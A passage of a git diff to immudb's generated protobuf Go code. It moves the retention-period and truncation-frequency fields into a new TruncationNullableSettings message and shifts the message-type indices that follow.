[NullableMilliseconds](#immudb.schema.NullableMilliseconds) | | Truncation Frequency for the database | + + + + + + ### Tx diff --git a/pkg/api/schema/schema.pb.go b/pkg/api/schema/schema.pb.go index 2fa097e42a..784d51c768 100644 --- a/pkg/api/schema/schema.pb.go +++ b/pkg/api/schema/schema.pb.go @@ -5522,10 +5522,8 @@ type DatabaseNullableSettings struct { MvccReadSetLimit *NullableUint32 `protobuf:"bytes,27,opt,name=mvccReadSetLimit,proto3" json:"mvccReadSetLimit,omitempty"` // Size of the LRU cache for value logs VLogCacheSize *NullableUint32 `protobuf:"bytes,28,opt,name=vLogCacheSize,proto3" json:"vLogCacheSize,omitempty"` - // Retention Period for data in the database - RetentionPeriod *NullableMilliseconds `protobuf:"bytes,29,opt,name=retentionPeriod,proto3" json:"retentionPeriod,omitempty"` - // Truncation Frequency for the database - TruncationFrequency *NullableMilliseconds `protobuf:"bytes,30,opt,name=truncationFrequency,proto3" json:"truncationFrequency,omitempty"` + // Truncation settings + TruncationSettings *TruncationNullableSettings `protobuf:"bytes,29,opt,name=truncationSettings,proto3" json:"truncationSettings,omitempty"` } func (x *DatabaseNullableSettings) Reset() { @@ -5714,16 +5712,9 @@ func (x *DatabaseNullableSettings) GetVLogCacheSize() *NullableUint32 { return nil } -func (x *DatabaseNullableSettings) GetRetentionPeriod() *NullableMilliseconds { - if x != nil { - return x.RetentionPeriod - } - return nil -} - -func (x *DatabaseNullableSettings) GetTruncationFrequency() *NullableMilliseconds { +func (x *DatabaseNullableSettings) GetTruncationSettings() *TruncationNullableSettings { if x != nil { - return x.TruncationFrequency + return x.TruncationSettings } return nil } @@ -5866,6 +5857,63 @@ func (x *ReplicationNullableSettings) GetAllowTxDiscarding() *NullableBool { return nil } +type TruncationNullableSettings struct { + state protoimpl.MessageState + sizeCache protoimpl.SizeCache + unknownFields protoimpl.UnknownFields + + // Retention Period for data in the database + RetentionPeriod *NullableMilliseconds `protobuf:"bytes,1,opt,name=retentionPeriod,proto3" json:"retentionPeriod,omitempty"` + // Truncation Frequency for the database + TruncationFrequency *NullableMilliseconds `protobuf:"bytes,2,opt,name=truncationFrequency,proto3" json:"truncationFrequency,omitempty"` +} + +func (x *TruncationNullableSettings) Reset() { + *x = TruncationNullableSettings{} + if protoimpl.UnsafeEnabled { + mi := &file_schema_proto_msgTypes[80] + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + ms.StoreMessageInfo(mi) + } +} + +func (x *TruncationNullableSettings) String() string { + return protoimpl.X.MessageStringOf(x) +} + +func (*TruncationNullableSettings) ProtoMessage() {} + +func (x *TruncationNullableSettings) ProtoReflect() protoreflect.Message { + mi := &file_schema_proto_msgTypes[80] + if protoimpl.UnsafeEnabled && x != nil { + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + if ms.LoadMessageInfo() == nil { + ms.StoreMessageInfo(mi) + } + return ms + } + return mi.MessageOf(x) +} + +// Deprecated: Use TruncationNullableSettings.ProtoReflect.Descriptor instead. +func (*TruncationNullableSettings) Descriptor() ([]byte, []int) { + return file_schema_proto_rawDescGZIP(), []int{80} +} + +func (x *TruncationNullableSettings) GetRetentionPeriod() *NullableMilliseconds { + if x != nil { + return x.RetentionPeriod + } + return nil +} + +func (x *TruncationNullableSettings) GetTruncationFrequency() *NullableMilliseconds { + if x != nil { + return x.TruncationFrequency + } + return nil +} + type IndexNullableSettings struct { state protoimpl.MessageState sizeCache protoimpl.SizeCache @@ -5906,7 +5954,7 @@ type IndexNullableSettings struct { func (x *IndexNullableSettings) Reset() { *x = IndexNullableSettings{} if protoimpl.UnsafeEnabled { - mi := &file_schema_proto_msgTypes[80] + mi := &file_schema_proto_msgTypes[81] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -5919,7 +5967,7 @@ func (x *IndexNullableSettings) String() string { func (*IndexNullableSettings) ProtoMessage() {} func (x *IndexNullableSettings) ProtoReflect() protoreflect.Message { - mi := &file_schema_proto_msgTypes[80] + mi := &file_schema_proto_msgTypes[81] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -5932,7 +5980,7 @@ func (x *IndexNullableSettings) ProtoReflect() protoreflect.Message { // Deprecated: Use IndexNullableSettings.ProtoReflect.Descriptor instead. func (*IndexNullableSettings) Descriptor() ([]byte, []int) { - return file_schema_proto_rawDescGZIP(), []int{80} + return file_schema_proto_rawDescGZIP(), []int{81} } func (x *IndexNullableSettings) GetFlushThreshold() *NullableUint32 { @@ -6054,7 +6102,7 @@ type AHTNullableSettings struct { func (x *AHTNullableSettings) Reset() { *x = AHTNullableSettings{} if protoimpl.UnsafeEnabled { - mi := &file_schema_proto_msgTypes[81] + mi := &file_schema_proto_msgTypes[82] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -6067,7 +6115,7 @@ func (x *AHTNullableSettings) String() string { func (*AHTNullableSettings) ProtoMessage() {} func (x *AHTNullableSettings) ProtoReflect() protoreflect.Message { - mi := &file_schema_proto_msgTypes[81] + mi := &file_schema_proto_msgTypes[82] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -6080,7 +6128,7 @@ func (x *AHTNullableSettings) ProtoReflect() protoreflect.Message { // Deprecated: Use AHTNullableSettings.ProtoReflect.Descriptor instead. func (*AHTNullableSettings) Descriptor() ([]byte, []int) { - return file_schema_proto_rawDescGZIP(), []int{81} + return file_schema_proto_rawDescGZIP(), []int{82} } func (x *AHTNullableSettings) GetSyncThreshold() *NullableUint32 { @@ -6108,7 +6156,7 @@ type LoadDatabaseRequest struct { func (x *LoadDatabaseRequest) Reset() { *x = LoadDatabaseRequest{} if protoimpl.UnsafeEnabled { - mi := &file_schema_proto_msgTypes[82] + mi := &file_schema_proto_msgTypes[83] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -6121,7 +6169,7 @@ func (x *LoadDatabaseRequest) String() string { func (*LoadDatabaseRequest) ProtoMessage() {} func (x *LoadDatabaseRequest) ProtoReflect() protoreflect.Message { - mi := &file_schema_proto_msgTypes[82] + mi := &file_schema_proto_msgTypes[83] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -6134,7 +6182,7 @@ func (x *LoadDatabaseRequest) ProtoReflect() protoreflect.Message { // Deprecated: Use LoadDatabaseRequest.ProtoReflect.Descriptor instead. func (*LoadDatabaseRequest) Descriptor() ([]byte, []int) { - return file_schema_proto_rawDescGZIP(), []int{82} + return file_schema_proto_rawDescGZIP(), []int{83} } func (x *LoadDatabaseRequest) GetDatabase() string { @@ -6156,7 +6204,7 @@ type LoadDatabaseResponse struct { func (x *LoadDatabaseResponse) Reset() { *x = LoadDatabaseResponse{} if protoimpl.UnsafeEnabled { - mi := &file_schema_proto_msgTypes[83] + mi := &file_schema_proto_msgTypes[84] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -6169,7 +6217,7 @@ func (x *LoadDatabaseResponse) String() string { func (*LoadDatabaseResponse) ProtoMessage() {} func (x *LoadDatabaseResponse) ProtoReflect() protoreflect.Message { - mi := &file_schema_proto_msgTypes[83] + mi := &file_schema_proto_msgTypes[84] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -6182,7 +6230,7 @@ func (x *LoadDatabaseResponse) ProtoReflect() protoreflect.Message { // Deprecated: Use LoadDatabaseResponse.ProtoReflect.Descriptor instead. func (*LoadDatabaseResponse) Descriptor() ([]byte, []int) { - return file_schema_proto_rawDescGZIP(), []int{83} + return file_schema_proto_rawDescGZIP(), []int{84} } func (x *LoadDatabaseResponse) GetDatabase() string { @@ -6204,7 +6252,7 @@ type UnloadDatabaseRequest struct { func (x *UnloadDatabaseRequest) Reset() { *x = UnloadDatabaseRequest{} if protoimpl.UnsafeEnabled { - mi := &file_schema_proto_msgTypes[84] + mi := &file_schema_proto_msgTypes[85] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -6217,7 +6265,7 @@ func (x *UnloadDatabaseRequest) String() string { func (*UnloadDatabaseRequest) ProtoMessage() {} func (x *UnloadDatabaseRequest) ProtoReflect() protoreflect.Message { - mi := &file_schema_proto_msgTypes[84] + mi := &file_schema_proto_msgTypes[85] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -6230,7 +6278,7 @@ func (x *UnloadDatabaseRequest) ProtoReflect() protoreflect.Message { // Deprecated: Use UnloadDatabaseRequest.ProtoReflect.Descriptor instead. func (*UnloadDatabaseRequest) Descriptor() ([]byte, []int) { - return file_schema_proto_rawDescGZIP(), []int{84} + return file_schema_proto_rawDescGZIP(), []int{85} } func (x *UnloadDatabaseRequest) GetDatabase() string { @@ -6252,7 +6300,7 @@ type UnloadDatabaseResponse struct { func (x *UnloadDatabaseResponse) Reset() { *x = UnloadDatabaseResponse{} if protoimpl.UnsafeEnabled { - mi := &file_schema_proto_msgTypes[85] + mi := &file_schema_proto_msgTypes[86] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -6265,7 +6313,7 @@ func (x *UnloadDatabaseResponse) String() string { func (*UnloadDatabaseResponse) ProtoMessage() {} func (x *UnloadDatabaseResponse) ProtoReflect() protoreflect.Message { - mi := &file_schema_proto_msgTypes[85] + mi := &file_schema_proto_msgTypes[86] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -6278,7 +6326,7 @@ func (x *UnloadDatabaseResponse) ProtoReflect() protoreflect.Message { // Deprecated: Use UnloadDatabaseResponse.ProtoReflect.Descriptor instead. func (*UnloadDatabaseResponse) Descriptor() ([]byte, []int) { - return file_schema_proto_rawDescGZIP(), []int{85} + return file_schema_proto_rawDescGZIP(), []int{86} } func (x *UnloadDatabaseResponse) GetDatabase() string { @@ -6300,7 +6348,7 @@ type DeleteDatabaseRequest struct { func (x *DeleteDatabaseRequest) Reset() { *x = DeleteDatabaseRequest{} if protoimpl.UnsafeEnabled { - mi := &file_schema_proto_msgTypes[86] + mi := &file_schema_proto_msgTypes[87] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -6313,7 +6361,7 @@ func (x *DeleteDatabaseRequest) String() string { func (*DeleteDatabaseRequest) ProtoMessage() {} func (x *DeleteDatabaseRequest) ProtoReflect() protoreflect.Message { - mi := &file_schema_proto_msgTypes[86] + mi := &file_schema_proto_msgTypes[87] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -6326,7 +6374,7 @@ func (x *DeleteDatabaseRequest) ProtoReflect() protoreflect.Message { // Deprecated: Use DeleteDatabaseRequest.ProtoReflect.Descriptor instead. func (*DeleteDatabaseRequest) Descriptor() ([]byte, []int) { - return file_schema_proto_rawDescGZIP(), []int{86} + return file_schema_proto_rawDescGZIP(), []int{87} } func (x *DeleteDatabaseRequest) GetDatabase() string { @@ -6348,7 +6396,7 @@ type DeleteDatabaseResponse struct { func (x *DeleteDatabaseResponse) Reset() { *x = DeleteDatabaseResponse{} if protoimpl.UnsafeEnabled { - mi := &file_schema_proto_msgTypes[87] + mi := &file_schema_proto_msgTypes[88] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -6361,7 +6409,7 @@ func (x *DeleteDatabaseResponse) String() string { func (*DeleteDatabaseResponse) ProtoMessage() {} func (x *DeleteDatabaseResponse) ProtoReflect() protoreflect.Message { - mi := &file_schema_proto_msgTypes[87] + mi := &file_schema_proto_msgTypes[88] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -6374,7 +6422,7 @@ func (x *DeleteDatabaseResponse) ProtoReflect() protoreflect.Message { // Deprecated: Use DeleteDatabaseResponse.ProtoReflect.Descriptor instead. func (*DeleteDatabaseResponse) Descriptor() ([]byte, []int) { - return file_schema_proto_rawDescGZIP(), []int{87} + return file_schema_proto_rawDescGZIP(), []int{88} } func (x *DeleteDatabaseResponse) GetDatabase() string { @@ -6398,7 +6446,7 @@ type FlushIndexRequest struct { func (x *FlushIndexRequest) Reset() { *x = FlushIndexRequest{} if protoimpl.UnsafeEnabled { - mi := &file_schema_proto_msgTypes[88] + mi := &file_schema_proto_msgTypes[89] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -6411,7 +6459,7 @@ func (x *FlushIndexRequest) String() string { func (*FlushIndexRequest) ProtoMessage() {} func (x *FlushIndexRequest) ProtoReflect() protoreflect.Message { - mi := &file_schema_proto_msgTypes[88] + mi := &file_schema_proto_msgTypes[89] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -6424,7 +6472,7 @@ func (x *FlushIndexRequest) ProtoReflect() protoreflect.Message { // Deprecated: Use FlushIndexRequest.ProtoReflect.Descriptor instead. func (*FlushIndexRequest) Descriptor() ([]byte, []int) { - return file_schema_proto_rawDescGZIP(), []int{88} + return file_schema_proto_rawDescGZIP(), []int{89} } func (x *FlushIndexRequest) GetCleanupPercentage() float32 { @@ -6453,7 +6501,7 @@ type FlushIndexResponse struct { func (x *FlushIndexResponse) Reset() { *x = FlushIndexResponse{} if protoimpl.UnsafeEnabled { - mi := &file_schema_proto_msgTypes[89] + mi := &file_schema_proto_msgTypes[90] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -6466,7 +6514,7 @@ func (x *FlushIndexResponse) String() string { func (*FlushIndexResponse) ProtoMessage() {} func (x *FlushIndexResponse) ProtoReflect() protoreflect.Message { - mi := &file_schema_proto_msgTypes[89] + mi := &file_schema_proto_msgTypes[90] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -6479,7 +6527,7 @@ func (x *FlushIndexResponse) ProtoReflect() protoreflect.Message { // Deprecated: Use FlushIndexResponse.ProtoReflect.Descriptor instead. func (*FlushIndexResponse) Descriptor() ([]byte, []int) { - return file_schema_proto_rawDescGZIP(), []int{89} + return file_schema_proto_rawDescGZIP(), []int{90} } func (x *FlushIndexResponse) GetDatabase() string { @@ -6501,7 +6549,7 @@ type Table struct { func (x *Table) Reset() { *x = Table{} if protoimpl.UnsafeEnabled { - mi := &file_schema_proto_msgTypes[90] + mi := &file_schema_proto_msgTypes[91] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -6514,7 +6562,7 @@ func (x *Table) String() string { func (*Table) ProtoMessage() {} func (x *Table) ProtoReflect() protoreflect.Message { - mi := &file_schema_proto_msgTypes[90] + mi := &file_schema_proto_msgTypes[91] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -6527,7 +6575,7 @@ func (x *Table) ProtoReflect() protoreflect.Message { // Deprecated: Use Table.ProtoReflect.Descriptor instead. func (*Table) Descriptor() ([]byte, []int) { - return file_schema_proto_rawDescGZIP(), []int{90} + return file_schema_proto_rawDescGZIP(), []int{91} } func (x *Table) GetTableName() string { @@ -6555,7 +6603,7 @@ type SQLGetRequest struct { func (x *SQLGetRequest) Reset() { *x = SQLGetRequest{} if protoimpl.UnsafeEnabled { - mi := &file_schema_proto_msgTypes[91] + mi := &file_schema_proto_msgTypes[92] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -6568,7 +6616,7 @@ func (x *SQLGetRequest) String() string { func (*SQLGetRequest) ProtoMessage() {} func (x *SQLGetRequest) ProtoReflect() protoreflect.Message { - mi := &file_schema_proto_msgTypes[91] + mi := &file_schema_proto_msgTypes[92] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -6581,7 +6629,7 @@ func (x *SQLGetRequest) ProtoReflect() protoreflect.Message { // Deprecated: Use SQLGetRequest.ProtoReflect.Descriptor instead. func (*SQLGetRequest) Descriptor() ([]byte, []int) { - return file_schema_proto_rawDescGZIP(), []int{91} + return file_schema_proto_rawDescGZIP(), []int{92} } func (x *SQLGetRequest) GetTable() string { @@ -6626,7 +6674,7 @@ type VerifiableSQLGetRequest struct { func (x *VerifiableSQLGetRequest) Reset() { *x = VerifiableSQLGetRequest{} if protoimpl.UnsafeEnabled { - mi := &file_schema_proto_msgTypes[92] + mi := &file_schema_proto_msgTypes[93] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -6639,7 +6687,7 @@ func (x *VerifiableSQLGetRequest) String() string { func (*VerifiableSQLGetRequest) ProtoMessage() {} func (x *VerifiableSQLGetRequest) ProtoReflect() protoreflect.Message { - mi := &file_schema_proto_msgTypes[92] + mi := &file_schema_proto_msgTypes[93] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -6652,7 +6700,7 @@ func (x *VerifiableSQLGetRequest) ProtoReflect() protoreflect.Message { // Deprecated: Use VerifiableSQLGetRequest.ProtoReflect.Descriptor instead. func (*VerifiableSQLGetRequest) Descriptor() ([]byte, []int) { - return file_schema_proto_rawDescGZIP(), []int{92} + return file_schema_proto_rawDescGZIP(), []int{93} } func (x *VerifiableSQLGetRequest) GetSqlGetRequest() *SQLGetRequest { @@ -6687,7 +6735,7 @@ type SQLEntry struct { func (x *SQLEntry) Reset() { *x = SQLEntry{} if protoimpl.UnsafeEnabled { - mi := &file_schema_proto_msgTypes[93] + mi := &file_schema_proto_msgTypes[94] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -6700,7 +6748,7 @@ func (x *SQLEntry) String() string { func (*SQLEntry) ProtoMessage() {} func (x *SQLEntry) ProtoReflect() protoreflect.Message { - mi := &file_schema_proto_msgTypes[93] + mi := &file_schema_proto_msgTypes[94] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -6713,7 +6761,7 @@ func (x *SQLEntry) ProtoReflect() protoreflect.Message { // Deprecated: Use SQLEntry.ProtoReflect.Descriptor instead. func (*SQLEntry) Descriptor() ([]byte, []int) { - return file_schema_proto_rawDescGZIP(), []int{93} + return file_schema_proto_rawDescGZIP(), []int{94} } func (x *SQLEntry) GetTx() uint64 { @@ -6774,7 +6822,7 @@ type VerifiableSQLEntry struct { func (x *VerifiableSQLEntry) Reset() { *x = VerifiableSQLEntry{} if protoimpl.UnsafeEnabled { - mi := &file_schema_proto_msgTypes[94] + mi := &file_schema_proto_msgTypes[95] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -6787,7 +6835,7 @@ func (x *VerifiableSQLEntry) String() string { func (*VerifiableSQLEntry) ProtoMessage() {} func (x *VerifiableSQLEntry) ProtoReflect() protoreflect.Message { - mi := &file_schema_proto_msgTypes[94] + mi := &file_schema_proto_msgTypes[95] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -6800,7 +6848,7 @@ func (x *VerifiableSQLEntry) ProtoReflect() protoreflect.Message { // Deprecated: Use VerifiableSQLEntry.ProtoReflect.Descriptor instead. func (*VerifiableSQLEntry) Descriptor() ([]byte, []int) { - return file_schema_proto_rawDescGZIP(), []int{94} + return file_schema_proto_rawDescGZIP(), []int{95} } func (x *VerifiableSQLEntry) GetSqlEntry() *SQLEntry { @@ -6885,7 +6933,7 @@ type UseDatabaseReply struct { func (x *UseDatabaseReply) Reset() { *x = UseDatabaseReply{} if protoimpl.UnsafeEnabled { - mi := &file_schema_proto_msgTypes[95] + mi := &file_schema_proto_msgTypes[96] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -6898,7 +6946,7 @@ func (x *UseDatabaseReply) String() string { func (*UseDatabaseReply) ProtoMessage() {} func (x *UseDatabaseReply) ProtoReflect() protoreflect.Message { - mi := &file_schema_proto_msgTypes[95] + mi := &file_schema_proto_msgTypes[96] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -6911,7 +6959,7 @@ func (x *UseDatabaseReply) ProtoReflect() protoreflect.Message { // Deprecated: Use UseDatabaseReply.ProtoReflect.Descriptor instead. func (*UseDatabaseReply) Descriptor() ([]byte, []int) { - return file_schema_proto_rawDescGZIP(), []int{95} + return file_schema_proto_rawDescGZIP(), []int{96} } func (x *UseDatabaseReply) GetToken() string { @@ -6939,7 +6987,7 @@ type ChangePermissionRequest struct { func (x *ChangePermissionRequest) Reset() { *x = ChangePermissionRequest{} if protoimpl.UnsafeEnabled { - mi := &file_schema_proto_msgTypes[96] + mi := &file_schema_proto_msgTypes[97] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -6952,7 +7000,7 @@ func (x *ChangePermissionRequest) String() string { func (*ChangePermissionRequest) ProtoMessage() {} func (x *ChangePermissionRequest) ProtoReflect() protoreflect.Message { - mi := &file_schema_proto_msgTypes[96] + mi := &file_schema_proto_msgTypes[97] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -6965,7 +7013,7 @@ func (x *ChangePermissionRequest) ProtoReflect() protoreflect.Message { // Deprecated: Use ChangePermissionRequest.ProtoReflect.Descriptor instead. func (*ChangePermissionRequest) Descriptor() ([]byte, []int) { - return file_schema_proto_rawDescGZIP(), []int{96} + return file_schema_proto_rawDescGZIP(), []int{97} } func (x *ChangePermissionRequest) GetAction() PermissionAction { @@ -7010,7 +7058,7 @@ type SetActiveUserRequest struct { func (x *SetActiveUserRequest) Reset() { *x = SetActiveUserRequest{} if protoimpl.UnsafeEnabled { - mi := &file_schema_proto_msgTypes[97] + mi := &file_schema_proto_msgTypes[98] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -7023,7 +7071,7 @@ func (x *SetActiveUserRequest) String() string { func (*SetActiveUserRequest) ProtoMessage() {} func (x *SetActiveUserRequest) ProtoReflect() protoreflect.Message { - mi := &file_schema_proto_msgTypes[97] + mi := &file_schema_proto_msgTypes[98] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -7036,7 +7084,7 @@ func (x *SetActiveUserRequest) ProtoReflect() protoreflect.Message { // Deprecated: Use SetActiveUserRequest.ProtoReflect.Descriptor instead. func (*SetActiveUserRequest) Descriptor() ([]byte, []int) { - return file_schema_proto_rawDescGZIP(), []int{97} + return file_schema_proto_rawDescGZIP(), []int{98} } func (x *SetActiveUserRequest) GetActive() bool { @@ -7065,7 +7113,7 @@ type DatabaseListResponse struct { func (x *DatabaseListResponse) Reset() { *x = DatabaseListResponse{} if protoimpl.UnsafeEnabled { - mi := &file_schema_proto_msgTypes[98] + mi := &file_schema_proto_msgTypes[99] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -7078,7 +7126,7 @@ func (x *DatabaseListResponse) String() string { func (*DatabaseListResponse) ProtoMessage() {} func (x *DatabaseListResponse) ProtoReflect() protoreflect.Message { - mi := &file_schema_proto_msgTypes[98] + mi := &file_schema_proto_msgTypes[99] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -7091,7 +7139,7 @@ func (x *DatabaseListResponse) ProtoReflect() protoreflect.Message { // Deprecated: Use DatabaseListResponse.ProtoReflect.Descriptor instead. func (*DatabaseListResponse) Descriptor() ([]byte, []int) { - return file_schema_proto_rawDescGZIP(), []int{98} + return file_schema_proto_rawDescGZIP(), []int{99} } func (x *DatabaseListResponse) GetDatabases() []*Database { @@ -7110,7 +7158,7 @@ type DatabaseListRequestV2 struct { func (x *DatabaseListRequestV2) Reset() { *x = DatabaseListRequestV2{} if protoimpl.UnsafeEnabled { - mi := &file_schema_proto_msgTypes[99] + mi := &file_schema_proto_msgTypes[100] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -7123,7 +7171,7 @@ func (x *DatabaseListRequestV2) String() string { func (*DatabaseListRequestV2) ProtoMessage() {} func (x *DatabaseListRequestV2) ProtoReflect() protoreflect.Message { - mi := &file_schema_proto_msgTypes[99] + mi := &file_schema_proto_msgTypes[100] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -7136,7 +7184,7 @@ func (x *DatabaseListRequestV2) ProtoReflect() protoreflect.Message { // Deprecated: Use DatabaseListRequestV2.ProtoReflect.Descriptor instead. func (*DatabaseListRequestV2) Descriptor() ([]byte, []int) { - return file_schema_proto_rawDescGZIP(), []int{99} + return file_schema_proto_rawDescGZIP(), []int{100} } type DatabaseListResponseV2 struct { @@ -7151,7 +7199,7 @@ type DatabaseListResponseV2 struct { func (x *DatabaseListResponseV2) Reset() { *x = DatabaseListResponseV2{} if protoimpl.UnsafeEnabled { - mi := &file_schema_proto_msgTypes[100] + mi := &file_schema_proto_msgTypes[101] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -7164,7 +7212,7 @@ func (x *DatabaseListResponseV2) String() string { func (*DatabaseListResponseV2) ProtoMessage() {} func (x *DatabaseListResponseV2) ProtoReflect() protoreflect.Message { - mi := &file_schema_proto_msgTypes[100] + mi := &file_schema_proto_msgTypes[101] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -7177,7 +7225,7 @@ func (x *DatabaseListResponseV2) ProtoReflect() protoreflect.Message { // Deprecated: Use DatabaseListResponseV2.ProtoReflect.Descriptor instead. func (*DatabaseListResponseV2) Descriptor() ([]byte, []int) { - return file_schema_proto_rawDescGZIP(), []int{100} + return file_schema_proto_rawDescGZIP(), []int{101} } func (x *DatabaseListResponseV2) GetDatabases() []*DatabaseWithSettings { @@ -7203,7 +7251,7 @@ type DatabaseWithSettings struct { func (x *DatabaseWithSettings) Reset() { *x = DatabaseWithSettings{} if protoimpl.UnsafeEnabled { - mi := &file_schema_proto_msgTypes[101] + mi := &file_schema_proto_msgTypes[102] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -7216,7 +7264,7 @@ func (x *DatabaseWithSettings) String() string { func (*DatabaseWithSettings) ProtoMessage() {} func (x *DatabaseWithSettings) ProtoReflect() protoreflect.Message { - mi := &file_schema_proto_msgTypes[101] + mi := &file_schema_proto_msgTypes[102] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -7229,7 +7277,7 @@ func (x *DatabaseWithSettings) ProtoReflect() protoreflect.Message { // Deprecated: Use DatabaseWithSettings.ProtoReflect.Descriptor instead. func (*DatabaseWithSettings) Descriptor() ([]byte, []int) { - return file_schema_proto_rawDescGZIP(), []int{101} + return file_schema_proto_rawDescGZIP(), []int{102} } func (x *DatabaseWithSettings) GetName() string { @@ -7264,7 +7312,7 @@ type Chunk struct { func (x *Chunk) Reset() { *x = Chunk{} if protoimpl.UnsafeEnabled { - mi := &file_schema_proto_msgTypes[102] + mi := &file_schema_proto_msgTypes[103] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -7277,7 +7325,7 @@ func (x *Chunk) String() string { func (*Chunk) ProtoMessage() {} func (x *Chunk) ProtoReflect() protoreflect.Message { - mi := &file_schema_proto_msgTypes[102] + mi := &file_schema_proto_msgTypes[103] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -7290,7 +7338,7 @@ func (x *Chunk) ProtoReflect() protoreflect.Message { // Deprecated: Use Chunk.ProtoReflect.Descriptor instead. func (*Chunk) Descriptor() ([]byte, []int) { - return file_schema_proto_rawDescGZIP(), []int{102} + return file_schema_proto_rawDescGZIP(), []int{103} } func (x *Chunk) GetContent() []byte { @@ -7312,7 +7360,7 @@ type UseSnapshotRequest struct { func (x *UseSnapshotRequest) Reset() { *x = UseSnapshotRequest{} if 